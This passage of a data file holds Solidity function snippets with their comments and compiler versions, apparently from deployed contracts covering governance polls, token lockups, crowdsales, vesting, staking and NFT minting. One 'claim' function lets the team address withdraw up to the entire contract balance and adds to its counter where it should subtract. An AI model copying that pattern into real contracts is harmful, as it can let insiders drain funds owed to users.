{\r\n require( (5 days <= _pollDuration) && (_pollDuration <= 90 days) &&\r\n (5 days <= _pollCooldown) && (_pollCooldown <= 90 days) );\r\n pollDuration = _pollDuration;\r\n pollCooldown = _pollCooldown;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Prevent targets from sending or receiving tokens\r\n */", "function_code": "function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {\r\n require(targets.length > 0);\r\n\r\n for (uint j = 0; j < targets.length; j++) {\r\n require(targets[j] != 0x0);\r\n frozenAccount[targets[j]] = isFrozen;\r\n FrozenFunds(targets[j], isFrozen);\r\n }\r\n }", "version": "0.4.18"} {"comment": "// startUpgradePoll(): open a poll on making _proposal the new ecliptic\n//", "function_code": "function startUpgradePoll(address _proposal)\r\n external\r\n onlyOwner\r\n {\r\n // _proposal must not have achieved majority before\r\n //\r\n require(!upgradeHasAchievedMajority[_proposal]);\r\n\r\n Poll storage poll = upgradePolls[_proposal];\r\n\r\n // if the proposal is being made for the first time, register it.\r\n //\r\n if (0 == poll.start)\r\n {\r\n upgradeProposals.push(_proposal);\r\n }\r\n\r\n startPoll(poll);\r\n emit UpgradePollStarted(_proposal);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Prevent targets from sending or receiving tokens by setting Unix times\r\n */", "function_code": "function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {\r\n require(targets.length > 0\r\n && targets.length == unixTimes.length);\r\n \r\n for(uint j = 0; j < targets.length; j++){\r\n require(unlockUnixTime[targets[j]] < unixTimes[j]);\r\n unlockUnixTime[targets[j]] = unixTimes[j];\r\n LockedFunds(targets[j], unixTimes[j]);\r\n }\r\n }", "version": "0.4.18"} {"comment": "// startDocumentPoll(): open a poll on accepting the document\n// whose hash is _proposal\n//", "function_code": "function startDocumentPoll(bytes32 _proposal)\r\n external\r\n onlyOwner\r\n {\r\n // _proposal must not have achieved majority before\r\n //\r\n require(!documentHasAchievedMajority[_proposal]);\r\n\r\n Poll storage poll = documentPolls[_proposal];\r\n\r\n // if the proposal is being made for the first time, register it.\r\n //\r\n if (0 == poll.start)\r\n {\r\n documentProposals.push(_proposal);\r\n }\r\n\r\n startPoll(poll);\r\n emit DocumentPollStarted(_proposal);\r\n }", "version": "0.4.24"} {"comment": "// GET ALL PUNKS OF A WALLET AS AN ARRAY OF STRINGS. WOULD BE BETTER MAYBE IF IT RETURNED A STRUCT WITH ID-NAME MATCH", "function_code": "function punkNamesOfOwner(address _owner) external view returns(string[] memory ) {\r\n uint256 tokenCount = balanceOf(_owner);\r\n if (tokenCount == 0) {\r\n // Return an empty array\r\n return new string[](0);\r\n } else {\r\n string[] memory result = new string[](tokenCount);\r\n uint256 index;\r\n for (index = 0; index < tokenCount; index++) {\r\n result[index] = punkNames[ tokenOfOwnerByIndex(_owner, index) ] ;\r\n }\r\n return result;\r\n }\r\n }", "version": "0.7.6"} {"comment": "// startPoll(): open a new poll, or re-open an old one\n//", "function_code": "function startPoll(Poll storage _poll)\r\n internal\r\n {\r\n // check that the poll has cooled down enough to be started again\r\n //\r\n // for completely new polls, the values used will be zero\r\n //\r\n require( block.timestamp > ( _poll.start.add(\r\n _poll.duration.add(\r\n _poll.cooldown )) ) );\r\n\r\n // set started poll state\r\n //\r\n _poll.start = block.timestamp;\r\n delete _poll.voted;\r\n _poll.yesVotes = 0;\r\n _poll.noVotes = 0;\r\n _poll.duration = pollDuration;\r\n _poll.cooldown = pollCooldown;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * This one is easy, claim reserved ether for the team or advertisement\r\n */", "function_code": "function claim(uint amount) public {\r\n if (msg.sender == advertisementAddress) {\r\n require(amount > 0 && amount <= advertisement, \"Can't claim more than was reserved\");\r\n\r\n advertisement -= amount;\r\n msg.sender.transfer(amount);\r\n } else \r\n if (msg.sender == teamAddress) {\r\n require(amount > 0 && amount <= address(this).balance, \"Can't claim more than was reserved\");\r\n\r\n team += amount;\r\n msg.sender.transfer(amount);\r\n }\r\n }", "version": "0.4.25"} {"comment": "// processVote(): record a vote from _as on the _poll\n//", "function_code": "function processVote(Poll storage _poll, uint8 _as, bool _vote)\r\n internal\r\n {\r\n // assist symbolic execution tools\r\n //\r\n assert(block.timestamp >= _poll.start);\r\n\r\n require( // may only vote once\r\n //\r\n !_poll.voted[_as] &&\r\n //\r\n // may only vote when the poll is open\r\n //\r\n (block.timestamp < _poll.start.add(_poll.duration)) );\r\n\r\n // update poll state to account for the new vote\r\n //\r\n _poll.voted[_as] = true;\r\n if (_vote)\r\n {\r\n _poll.yesVotes = _poll.yesVotes.add(1);\r\n }\r\n else\r\n {\r\n _poll.noVotes = _poll.noVotes.add(1);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev payable function which does:\r\n * If current state = ST_RASING - allows to send ETH for future tokens\r\n * If current state = ST_MONEY_BACK - will send back all ETH that msg.sender has on balance\r\n * If current state = ST_TOKEN_DISTRIBUTION - will reurn all ETH and Tokens that msg.sender has on balance\r\n * in case of ST_MONEY_BACK or ST_TOKEN_DISTRIBUTION all ETH sum will be sent back (sum to trigger this function)\r\n */", "function_code": "function () public payable {\r\n uint8 _state = getState_();\r\n if (_state == ST_RAISING){\r\n buyShare_(_state);\r\n return;\r\n }\r\n \r\n if (_state == ST_MONEY_BACK) {\r\n refundShare_(msg.sender, share[msg.sender]);\r\n if(msg.value > 0)\r\n msg.sender.transfer(msg.value);\r\n return;\r\n }\r\n \r\n if (_state == ST_TOKEN_DISTRIBUTION) {\r\n releaseEther_(msg.sender, getBalanceEtherOf_(msg.sender));\r\n releaseToken_(msg.sender, getBalanceTokenOf_(msg.sender));\r\n if(msg.value > 0)\r\n msg.sender.transfer(msg.value);\r\n return;\r\n }\r\n revert();\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Release amount of ETH to stakeholder by admin or paybot\r\n * @param _for stakeholder role (for example: 2)\r\n * @param _value amount of ETH in wei\r\n * @return result of operation, true if success\r\n */", "function_code": "function releaseEtherToStakeholderForce(uint8 _for, uint _value) external returns(bool) {\r\n uint8 _role = getRole_();\r\n require((_role==RL_ADMIN) || (_role==RL_PAYBOT));\r\n uint8 _state = getState_();\r\n require(!((_for == RL_ICO_MANAGER) && ((_state != ST_WAIT_FOR_ICO) || (tokenPrice > 0))));\r\n return releaseEtherToStakeholder_(_state, _for, _value);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Release amount of ETH to person by admin or paybot\r\n * @param _for addresses of persons\r\n * @param _value amounts of ETH in wei\r\n * @return result of operation, true if success\r\n */", "function_code": "function releaseEtherForceMulti(address[] _for, uint[] _value) external returns(bool) {\r\n uint _sz = _for.length;\r\n require(_value.length == _sz);\r\n uint8 _role = getRole_();\r\n uint8 _state = getState_();\r\n require(_state == ST_TOKEN_DISTRIBUTION);\r\n require((_role==RL_ADMIN) || (_role==RL_PAYBOT));\r\n for (uint i = 0; i < _sz; i++){\r\n require(releaseEther_(_for[i], _value[i]));\r\n }\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "// updateUpgradePoll(): check whether the _proposal has achieved\n// majority, updating state, sending an event,\n// and returning true if it has\n//", "function_code": "function updateUpgradePoll(address _proposal)\r\n public\r\n onlyOwner\r\n returns (bool majority)\r\n {\r\n // _proposal must not have achieved majority before\r\n //\r\n require(!upgradeHasAchievedMajority[_proposal]);\r\n\r\n // check for majority in the poll\r\n //\r\n Poll storage poll = upgradePolls[_proposal];\r\n majority = checkPollMajority(poll);\r\n\r\n // if majority was achieved, update the state and send an event\r\n //\r\n if (majority)\r\n {\r\n upgradeHasAchievedMajority[_proposal] = true;\r\n emit UpgradeMajority(_proposal);\r\n }\r\n return majority;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Allow to return ETH back to person by admin or paybot if state Money back\r\n * @param _for address of person\r\n * @param _value amount of ETH in wei\r\n * @return result of operation, true if success\r\n */", "function_code": "function refundShareForce(address _for, uint _value) external returns(bool) {\r\n uint8 _state = getState_();\r\n uint8 _role = getRole_();\r\n require(_role == RL_ADMIN || _role == RL_PAYBOT);\r\n require (_state == ST_MONEY_BACK || _state == ST_RAISING);\r\n return refundShare_(_for, _value);\r\n }", "version": "0.4.25"} {"comment": "/// Core functions", "function_code": "function stake(uint256 amount) public {\n // amount to stake and user's balance can not be 0\n require(\n amount > 0 &&\n formToken.balanceOf(msg.sender) >= amount, \n \"You cannot stake zero tokens\");\n \n // if user is already staking, calculate up-to-date yield\n if(stakingBalance[msg.sender] > 0){\n uint256 yieldEarned = getUsersYieldAmount(msg.sender);\n yieldBalance[msg.sender] = yieldEarned;\n }\n\n formToken.transferFrom(msg.sender, address(this), amount); // add FORM tokens to the staking pool\n stakingBalance[msg.sender] += amount;\n startTime[msg.sender] = block.timestamp; // upserting the staking schedule whether user is already staking or not\n emit Stake(msg.sender, amount);\n }", "version": "0.8.4"} {"comment": "// updateDocumentPoll(): check whether the _proposal has achieved majority,\n// updating the state and sending an event if it has\n//\n// this can be called by anyone, because the ecliptic does not\n// need to be aware of the result\n//", "function_code": "function updateDocumentPoll(bytes32 _proposal)\r\n public\r\n returns (bool majority)\r\n {\r\n // _proposal must not have achieved majority before\r\n //\r\n require(!documentHasAchievedMajority[_proposal]);\r\n\r\n // check for majority in the poll\r\n //\r\n Poll storage poll = documentPolls[_proposal];\r\n majority = checkPollMajority(poll);\r\n\r\n // if majority was achieved, update state and send an event\r\n //\r\n if (majority)\r\n {\r\n documentHasAchievedMajority[_proposal] = true;\r\n documentMajorities.push(_proposal);\r\n emit DocumentMajority(_proposal);\r\n }\r\n return majority;\r\n }", "version": "0.4.24"} {"comment": "// NOTE: Can override `tendTrigger` and `harvestTrigger` if necessary", "function_code": "function prepareMigration(address _newStrategy) internal override {\r\n uint256 balance3crv = IERC20(crv3).balanceOf(address(this));\r\n uint256 balanceYveCrv = IERC20(address(want)).balanceOf(address(this));\r\n if(balance3crv > 0){\r\n IERC20(crv3).safeTransfer(_newStrategy, balance3crv);\r\n }\r\n if(balanceYveCrv > 0){\r\n IERC20(address(want)).safeTransfer(_newStrategy, balanceYveCrv);\r\n }\r\n IERC20(crv).safeApprove(address(want), 0);\r\n IERC20(usdc).safeApprove(sushiswap, 0);\r\n }", "version": "0.6.12"} {"comment": "// Here we determine if better to market-buy yvBOOST or mint it via backscratcher", "function_code": "function shouldMint(uint256 _amountIn) internal returns (bool) {\r\n // Using reserve ratios of swap pairs will allow us to compare whether it's more efficient to:\r\n // 1) Buy yvBOOST (unwrapped for yveCRV)\r\n // 2) Buy CRV (and use to mint yveCRV 1:1)\r\n address[] memory path = new address[](3);\r\n path[0] = usdc;\r\n path[1] = weth;\r\n path[2] = yvBoost;\r\n uint256[] memory amounts = ISwap(sushiswap).getAmountsOut(_amountIn, path);\r\n uint256 projectedYvBoost = amounts[2];\r\n // Convert yvBOOST to yveCRV\r\n uint256 projectedYveCrv = projectedYvBoost.mul(vault.pricePerShare()).div(1e18); // save some gas by hardcoding 1e18\r\n\r\n path = new address[](3);\r\n path[0] = usdc;\r\n path[1] = weth;\r\n path[2] = crv;\r\n amounts = ISwap(sushiswap).getAmountsOut(_amountIn, path);\r\n uint256 projectedCrv = amounts[2];\r\n\r\n // Here we favor minting by a % value defined by \"vaultBuffer\"\r\n bool shouldMint = projectedCrv.mul(DENOMINATOR.add(vaultBuffer)).div(DENOMINATOR) > projectedYveCrv;\r\n emit BuyOrMint(shouldMint, projectedYveCrv, projectedCrv);\r\n\r\n return shouldMint;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev OVERRIDE vestedAmount from PGOMonthlyInternalVault\r\n * Calculates the amount that has already vested, release 1/3 of token immediately.\r\n * @param beneficiary The address that will receive the vested tokens.\r\n */", "function_code": "function vestedAmount(address beneficiary) public view returns (uint256) {\r\n uint256 vested = 0;\r\n\r\n if (block.timestamp >= start) {\r\n // after start -> 1/3 released (fixed)\r\n vested = investments[beneficiary].totalBalance.div(3);\r\n }\r\n if (block.timestamp >= cliff && block.timestamp < end) {\r\n // after cliff -> 1/27 of totalBalance every month, must skip first 9 month \r\n uint256 unlockedStartBalance = investments[beneficiary].totalBalance.div(3);\r\n uint256 totalBalance = investments[beneficiary].totalBalance;\r\n uint256 lockedBalance = totalBalance.sub(unlockedStartBalance);\r\n uint256 monthlyBalance = lockedBalance.div(VESTING_DIV_RATE);\r\n uint256 daysToSkip = 90 days;\r\n uint256 time = block.timestamp.sub(start).sub(daysToSkip);\r\n uint256 elapsedOffsets = time.div(VESTING_INTERVAL);\r\n vested = vested.add(elapsedOffsets.mul(monthlyBalance));\r\n }\r\n if (block.timestamp >= end) {\r\n // after end -> all vested\r\n vested = investments[beneficiary].totalBalance;\r\n }\r\n return vested;\r\n }", "version": "0.4.24"} {"comment": "// checkPollMajority(): returns true if the majority is in favor of\n// the subject of the poll\n//", "function_code": "function checkPollMajority(Poll _poll)\r\n internal\r\n view\r\n returns (bool majority)\r\n {\r\n return ( // poll must have at least the minimum required yes-votes\r\n //\r\n (_poll.yesVotes >= (totalVoters / 4)) &&\r\n //\r\n // and have a majority...\r\n //\r\n (_poll.yesVotes > _poll.noVotes) &&\r\n //\r\n // ...that is indisputable\r\n //\r\n ( // either because the poll has ended\r\n //\r\n (block.timestamp > _poll.start.add(_poll.duration)) ||\r\n //\r\n // or there are more yes votes than there can be no votes\r\n //\r\n ( _poll.yesVotes > totalVoters.sub(_poll.yesVotes) ) ) );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Sets the state of the internal monthly locked vault contract and mints tokens.\r\n * It will contains all TEAM, FOUNDER, ADVISOR and PARTNERS tokens.\r\n * All token are locked for the first 9 months and then unlocked monthly.\r\n * It will check that all internal token are correctly allocated.\r\n * So far, the internal monthly vault contract has been deployed and this function\r\n * needs to be called to set its investments and vesting conditions.\r\n * @param beneficiaries Array of the internal addresses to whom vested tokens are transferred.\r\n * @param balances Array of token amount per beneficiary.\r\n */", "function_code": "function initPGOMonthlyInternalVault(address[] beneficiaries, uint256[] balances)\r\n public\r\n onlyOwner\r\n equalLength(beneficiaries, balances)\r\n {\r\n uint256 totalInternalBalance = 0;\r\n uint256 balancesLength = balances.length;\r\n\r\n for (uint256 i = 0; i < balancesLength; i++) {\r\n totalInternalBalance = totalInternalBalance.add(balances[i]);\r\n }\r\n //check that all balances matches internal vault allocated Cap\r\n require(totalInternalBalance == MONTHLY_INTERNAL_VAULT_CAP);\r\n\r\n pgoMonthlyInternalVault.init(beneficiaries, balances, END_TIME, token);\r\n\r\n mintTokens(address(pgoMonthlyInternalVault), MONTHLY_INTERNAL_VAULT_CAP);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Mint all token collected by second private presale (called reservation),\r\n * all KYC control are made outside contract under responsability of ParkinGO.\r\n * Also, updates tokensSold and availableTokens in the crowdsale contract,\r\n * it checks that sold token are less than reservation contract cap.\r\n * @param beneficiaries Array of the reservation user that bought tokens in private reservation sale.\r\n * @param balances Array of token amount per beneficiary.\r\n */", "function_code": "function mintReservation(address[] beneficiaries, uint256[] balances)\r\n public\r\n onlyOwner\r\n equalLength(beneficiaries, balances)\r\n {\r\n //require(tokensSold == 0);\r\n\r\n uint256 totalReservationBalance = 0;\r\n uint256 balancesLength = balances.length;\r\n\r\n for (uint256 i = 0; i < balancesLength; i++) {\r\n totalReservationBalance = totalReservationBalance.add(balances[i]);\r\n uint256 amount = balances[i];\r\n //update token sold of crowdsale contract\r\n tokensSold = tokensSold.add(amount);\r\n //update available token of crowdsale contract\r\n availableTokens = availableTokens.sub(amount);\r\n mintTokens(beneficiaries[i], amount);\r\n }\r\n\r\n require(totalReservationBalance <= RESERVATION_CAP);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Allows the owner to unpause tokens, stop minting and transfer ownership of the token contract.\r\n */", "function_code": "function finalise() public onlyOwner {\r\n require(didOwnerEndCrowdsale || block.timestamp > end || capReached);\r\n\r\n token.finishMinting();\r\n token.unpause();\r\n\r\n // Token contract extends CanReclaimToken so the owner can recover\r\n // any ERC20 token received in this contract by mistake.\r\n // So far, the owner of the token contract is the crowdsale contract.\r\n // We transfer the ownership so the owner of the crowdsale is also the owner of the token.\r\n token.transferOwnership(owner);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Implements the KYCBase releaseTokensTo function to mint tokens for an investor.\r\n * Called after the KYC process has passed.\r\n * @return A boolean that indicates if the operation was successful.\r\n */", "function_code": "function releaseTokensTo(address buyer) internal returns(bool) {\r\n require(validPurchase());\r\n\r\n uint256 overflowTokens;\r\n uint256 refundWeiAmount;\r\n\r\n uint256 weiAmount = msg.value;\r\n uint256 tokenAmount = weiAmount.mul(price());\r\n\r\n if (tokenAmount >= availableTokens) {\r\n capReached = true;\r\n overflowTokens = tokenAmount.sub(availableTokens);\r\n tokenAmount = tokenAmount.sub(overflowTokens);\r\n refundWeiAmount = overflowTokens.div(price());\r\n weiAmount = weiAmount.sub(refundWeiAmount);\r\n buyer.transfer(refundWeiAmount);\r\n }\r\n\r\n weiRaised = weiRaised.add(weiAmount);\r\n tokensSold = tokensSold.add(tokenAmount);\r\n availableTokens = availableTokens.sub(tokenAmount);\r\n mintTokens(buyer, tokenAmount);\r\n forwardFunds(weiAmount);\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// onUpgrade(): called by previous ecliptic when upgrading\n//\n// in future ecliptics, this might perform more logic than\n// just simple checks and verifications.\n// when overriding this, make sure to call this original as well.\n//", "function_code": "function onUpgrade()\r\n external\r\n {\r\n // make sure this is the expected upgrade path,\r\n // and that we have gotten the ownership we require\r\n //\r\n require( msg.sender == previousEcliptic &&\r\n this == azimuth.owner() &&\r\n this == polls.owner() );\r\n }", "version": "0.4.24"} {"comment": "// upgrade(): transfer ownership of the ecliptic data to the new\n// ecliptic contract, notify it, then self-destruct.\n//\n// Note: any eth that have somehow ended up in this contract\n// are also sent to the new ecliptic.\n//", "function_code": "function upgrade(EclipticBase _new)\r\n internal\r\n {\r\n // transfer ownership of the data contracts\r\n //\r\n azimuth.transferOwnership(_new);\r\n polls.transferOwnership(_new);\r\n\r\n // trigger upgrade logic on the target contract\r\n //\r\n _new.onUpgrade();\r\n\r\n // emit event and destroy this contract\r\n //\r\n emit Upgraded(_new);\r\n selfdestruct(_new);\r\n }", "version": "0.4.24"} {"comment": "/**\n * @dev Returns the maximum number of tokens currently claimable by `owner`.\n * @param owner The account to check the claimable balance of.\n * @return The number of tokens currently claimable.\n */", "function_code": "function claimableBalance(address owner) public view returns(uint256) {\n if(block.timestamp < unlockCliff) {\n return 0;\n }\n\n uint256 locked = lockedAmounts[owner];\n uint256 claimed = claimedAmounts[owner];\n if(block.timestamp >= unlockEnd) {\n return locked - claimed;\n }\n return (locked * (block.timestamp - unlockBegin)) / (unlockEnd - unlockBegin) - claimed;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Claims the caller's tokens that have been unlocked, sending them to `recipient`.\n * @param recipient The account to transfer unlocked tokens to.\n * @param amount The amount to transfer. If greater than the claimable amount, the maximum is transferred.\n */", "function_code": "function claim(address recipient, uint256 amount) public {\n uint256 claimable = claimableBalance(msg.sender);\n if(amount > claimable) {\n amount = claimable;\n }\n claimedAmounts[msg.sender] += amount;\n require(token.transfer(recipient, amount), \"TokenLock: Transfer failed\");\n emit Claimed(msg.sender, recipient, amount);\n }", "version": "0.8.4"} {"comment": "// transfer tokens to another address (owner) ", "function_code": "function transfer(address _to, uint256 _value) returns (bool success) {\r\n if (_to == 0x0 || balanceOf[msg.sender] < _value || balanceOf[_to] + _value < balanceOf[_to]) \r\n return false; \r\n balanceOf[msg.sender] -= _value; \r\n balanceOf[_to] += _value; \r\n Transfer(msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.4.11"} {"comment": "// setting of availability of tokens transference for third party", "function_code": "function transferFrom(address _from, address _to, uint256 _value) \r\n returns (bool success) {\r\n if(_to == 0x0 || balanceOf[_from] < _value || _value > allowance[_from][msg.sender]) \r\n return false; \r\n balanceOf[_from] -= _value; \r\n balanceOf[_to] += _value; \r\n allowance[_from][msg.sender] -= _value;\r\n Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.11"} {"comment": "/**\r\n * Only incaseof private market, check if caller has a minter role \r\n */", "function_code": "function mint(uint256 supply, string memory uri, address creator, uint256 royaltyRatio) public returns(uint256 id) {\r\n require(supply > 0,\"NFTBase/supply_is_0\");\r\n require(!compareStrings(uri,\"\"),\"NFTBase/uri_is_empty\");\r\n require(creator != address(0),\"NFTBase/createor_is_0_address\");\r\n require(_royaltyMinimum <= royaltyRatio && royaltyRatio <= _royaltyMaximum,\"NFTBase/royalty_out_of_range\");\r\n \r\n if(_isPrivate)\r\n require(hasRole(MINTER_ROLE,_msgSender()),\"NFTBase/caller_has_not_minter_role\");\r\n id = ++_currentTokenId; \r\n \r\n _tokens[id].supply = supply;\r\n _tokens[id].uri = uri;\r\n _tokens[id].creator = creator;\r\n _tokens[id].royaltyRatio = royaltyRatio;\r\n \r\n ERC1155._mint(_msgSender(),id,supply,\"\"); // TransferSingle Event \r\n\r\n emit Mint(id,supply,uri,creator,royaltyRatio);\r\n }", "version": "0.7.6"} {"comment": "// clearClaims(): unregister all of _point's claims\n//\n// can also be called by the ecliptic during point transfer\n//", "function_code": "function clearClaims(uint32 _point)\r\n external\r\n {\r\n // both point owner and ecliptic may do this\r\n //\r\n // We do not necessarily need to check for _point's active flag here,\r\n // since inactive points cannot have claims set. Doing the check\r\n // anyway would make this function slightly harder to think about due\r\n // to its relation to Ecliptic's transferPoint().\r\n //\r\n require( azimuth.canManage(_point, msg.sender) ||\r\n ( msg.sender == azimuth.owner() ) );\r\n\r\n Claim[maxClaims] storage currClaims = claims[_point];\r\n\r\n // clear out all claims\r\n //\r\n for (uint8 i = 0; i < maxClaims; i++)\r\n {\r\n delete currClaims[i];\r\n }\r\n }", "version": "0.4.24"} {"comment": "// Converts WETH to Rigel", "function_code": "function _toRIGEL(uint256 amountIn) internal {\n IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(weth, rigel));\n // Choose WETH as input token\n (uint reserve0, uint reserve1,) = pair.getReserves();\n address token0 = pair.token0();\n (uint reserveIn, uint reserveOut) = token0 == weth ? (reserve0, reserve1) : (reserve1, reserve0);\n // Calculate information required to swap\n uint amountInWithFee = amountIn.mul(997);\n uint numerator = amountInWithFee.mul(reserveOut);\n uint denominator = reserveIn.mul(1000).add(amountInWithFee);\n uint amountOut = numerator / denominator;\n (uint amount0Out, uint amount1Out) = token0 == weth ? (uint(0), amountOut) : (amountOut, uint(0));\n // Swap WETH for Rigel\n pair.swap(amount0Out, amount1Out, orion, new bytes(0));\n }", "version": "0.6.12"} {"comment": "// findClaim(): find the index of the specified claim\n//\n// returns 0 if not found, index + 1 otherwise\n//", "function_code": "function findClaim(uint32 _whose, string _protocol, string _claim)\r\n public\r\n view\r\n returns (uint8 index)\r\n {\r\n // we use hashes of the string because solidity can't do string\r\n // comparison yet\r\n //\r\n bytes32 protocolHash = keccak256(bytes(_protocol));\r\n bytes32 claimHash = keccak256(bytes(_claim));\r\n Claim[maxClaims] storage theirClaims = claims[_whose];\r\n for (uint8 i = 0; i < maxClaims; i++)\r\n {\r\n Claim storage thisClaim = theirClaims[i];\r\n if ( ( protocolHash == keccak256(bytes(thisClaim.protocol)) ) &&\r\n ( claimHash == keccak256(bytes(thisClaim.claim)) ) )\r\n {\r\n return i+1;\r\n }\r\n }\r\n return 0;\r\n }", "version": "0.4.24"} {"comment": "/* CertiK Smart Labelling, for more details visit: https://certik.org */", "function_code": "function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {\r\n if (a == 0) {\r\n return 0;\r\n }\r\n c = a * b;\r\n assert(c / a == b);\r\n return c;\r\n }", "version": "0.5.17"} {"comment": "// View function to see rewardPer YFBTC block on frontend.", "function_code": "function rewardPerBlock(uint256 _pid) external view returns (uint256) {\n PoolInfo storage pool = poolInfo[_pid];\n uint256 accYfbtcPerShare = pool.accYfbtcPerShare;\n uint256 lpSupply = pool.lpToken.balanceOf(address(this));\n if (block.number > pool.lastRewardBlock && lpSupply != 0) {\n\n uint256 yfbtcReward = getMultiplier(pool.lastRewardBlock, block.number);\n uint totalPoolsEligible = getEligiblePools();\n\n uint distribution = yfbtcMultiplier + totalPoolsEligible - 1;\n uint256 rewardPerPool = yfbtcReward.div(distribution);\n \n if (address(pool.lpToken) == token1){\n accYfbtcPerShare = accYfbtcPerShare.add(rewardPerPool.mul(yfbtcMultiplier).mul(1e12).div(lpSupply));\n }else{\n accYfbtcPerShare = accYfbtcPerShare.add(rewardPerPool.mul(1e12).div(lpSupply));\n }\n }\n return accYfbtcPerShare;\n }", "version": "0.6.12"} {"comment": "// findEmptySlot(): find the index of the first empty claim slot\n//\n// returns the index of the slot, throws if there are no empty slots\n//", "function_code": "function findEmptySlot(uint32 _whose)\r\n internal\r\n view\r\n returns (uint8 index)\r\n {\r\n Claim[maxClaims] storage theirClaims = claims[_whose];\r\n for (uint8 i = 0; i < maxClaims; i++)\r\n {\r\n Claim storage thisClaim = theirClaims[i];\r\n if ( (0 == bytes(thisClaim.protocol).length) &&\r\n (0 == bytes(thisClaim.claim).length) )\r\n {\r\n return i;\r\n }\r\n }\r\n revert();\r\n }", "version": "0.4.24"} {"comment": "// let user exist in case of emergency", "function_code": "function emergencyWithdraw(uint256 _pid) public {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n uint256 amount = user.amount;\n user.amount = 0;\n user.rewardDebt = 0;\n pool.lpToken.safeTransfer(address(msg.sender), amount);\n pool.totalSupply = pool.totalSupply.sub(amount);\n emit EmergencyWithdraw(msg.sender, _pid, amount);\n }", "version": "0.6.12"} {"comment": "// this rerolls all the slots of a pet besides skin/type", "function_code": "function rerollPet(uint256 serialId) public {\n require(isRerollAllEnabled, \"Reroll is not enabled\");\n require(msg.sender == ownerOf(serialId), \"Only owner can reroll.\");\n require(\n block.timestamp - serialIdToTimeRedeemed[serialId] <= ONE_DAY,\n \"Can not reroll after one day\"\n );\n\n string memory pet = serialIdToPet[serialId];\n string memory petSkinAsString = substring(pet, 0, 2);\n string memory petTypeAsString = substring(pet, 2, 4);\n uint256 petSkin = convertToUint(petSkinAsString);\n uint256 petType = convertToUint(petTypeAsString);\n\n Attributes memory attributes = generateAttributes(serialId);\n string memory rerolledPet = createPetStringRepresentation(\n petSkin,\n petType,\n attributes\n );\n\n if (existingPets[rerolledPet]) {\n uint256[] memory validSlots = getValidSlotsForReroll(attributes);\n uint256 randomSlotIndex = getRandomNumber(petType, petSkin, serialId) %\n validSlots.length;\n rerolledPet = _rerollPet(\n serialId,\n petSkin,\n petType,\n attributes,\n validSlots[randomSlotIndex],\n rerolledPet,\n false\n );\n }\n require(\n !existingPets[rerolledPet],\n \"Could not reroll into a valid pet, please try again.\"\n );\n serialIdToPet[serialId] = rerolledPet;\n existingPets[rerolledPet] = true;\n existingPets[pet] = false;\n emit ZPet(msg.sender, serialId, rerolledPet, true);\n }", "version": "0.8.4"} {"comment": "/// @dev ISavingStrategy.investUnderlying implementation", "function_code": "function investUnderlying(uint256 investAmount) external onlyOwner returns (uint256) {\r\n token.transferFrom(msg.sender, address(this), investAmount);\r\n token.approve(address(cToken), investAmount);\r\n uint256 cTotalBefore = cToken.totalSupply();\r\n // TODO should we handle mint failure?\r\n require(cToken.mint(investAmount) == 0, \"mint failed\");\r\n uint256 cTotalAfter = cToken.totalSupply();\r\n uint256 cCreatedAmount;\r\n require (cTotalAfter >= cTotalBefore, \"Compound minted negative amount!?\");\r\n cCreatedAmount = cTotalAfter - cTotalBefore;\r\n return cCreatedAmount;\r\n }", "version": "0.5.12"} {"comment": "/// @dev ISavingStrategy.redeemUnderlying implementation", "function_code": "function redeemUnderlying(uint256 redeemAmount) external onlyOwner returns (uint256) {\r\n uint256 cTotalBefore = cToken.totalSupply();\r\n // TODO should we handle redeem failure?\r\n require(cToken.redeemUnderlying(redeemAmount) == 0, \"cToken.redeemUnderlying failed\");\r\n uint256 cTotalAfter = cToken.totalSupply();\r\n uint256 cBurnedAmount;\r\n require(cTotalAfter <= cTotalBefore, \"Compound redeemed negative amount!?\");\r\n cBurnedAmount = cTotalBefore - cTotalAfter;\r\n token.transfer(msg.sender, redeemAmount);\r\n return cBurnedAmount;\r\n }", "version": "0.5.12"} {"comment": "/**\n * @notice Claim ERC20-compliant tokens other than locked token.\n * @param tokenToClaim Token to claim balance of.\n */", "function_code": "function claimToken(IERC20 tokenToClaim) external onlyBeneficiary() nonReentrant() {\n require(address(tokenToClaim) != address(token()), \"smart-timelock/no-locked-token-claim\");\n uint256 preAmount = token().balanceOf(address(this));\n\n uint256 claimableTokenAmount = tokenToClaim.balanceOf(address(this));\n require(claimableTokenAmount > 0, \"smart-timelock/no-token-balance-to-claim\");\n\n tokenToClaim.transfer(beneficiary(), claimableTokenAmount);\n\n uint256 postAmount = token().balanceOf(address(this));\n require(postAmount >= preAmount, \"smart-timelock/locked-balance-check\");\n\n emit ClaimToken(tokenToClaim, claimableTokenAmount);\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev change AdminTols deployer address\r\n * @param _newATD new AT deployer address\r\n */", "function_code": "function changeATFactoryAddress(address _newATD) external onlyOwner {\r\n require(block.number < 8850000, \"Time expired!\");\r\n require(_newATD != address(0), \"Address not suitable!\");\r\n require(_newATD != ATDAddress, \"AT factory address not changed!\");\r\n ATDAddress = _newATD;\r\n deployerAT = IATDeployer(ATDAddress);\r\n emit ATFactoryAddressChanged();\r\n }", "version": "0.5.2"} {"comment": "/**\r\n * @dev change Token deployer address\r\n * @param _newTD new T deployer 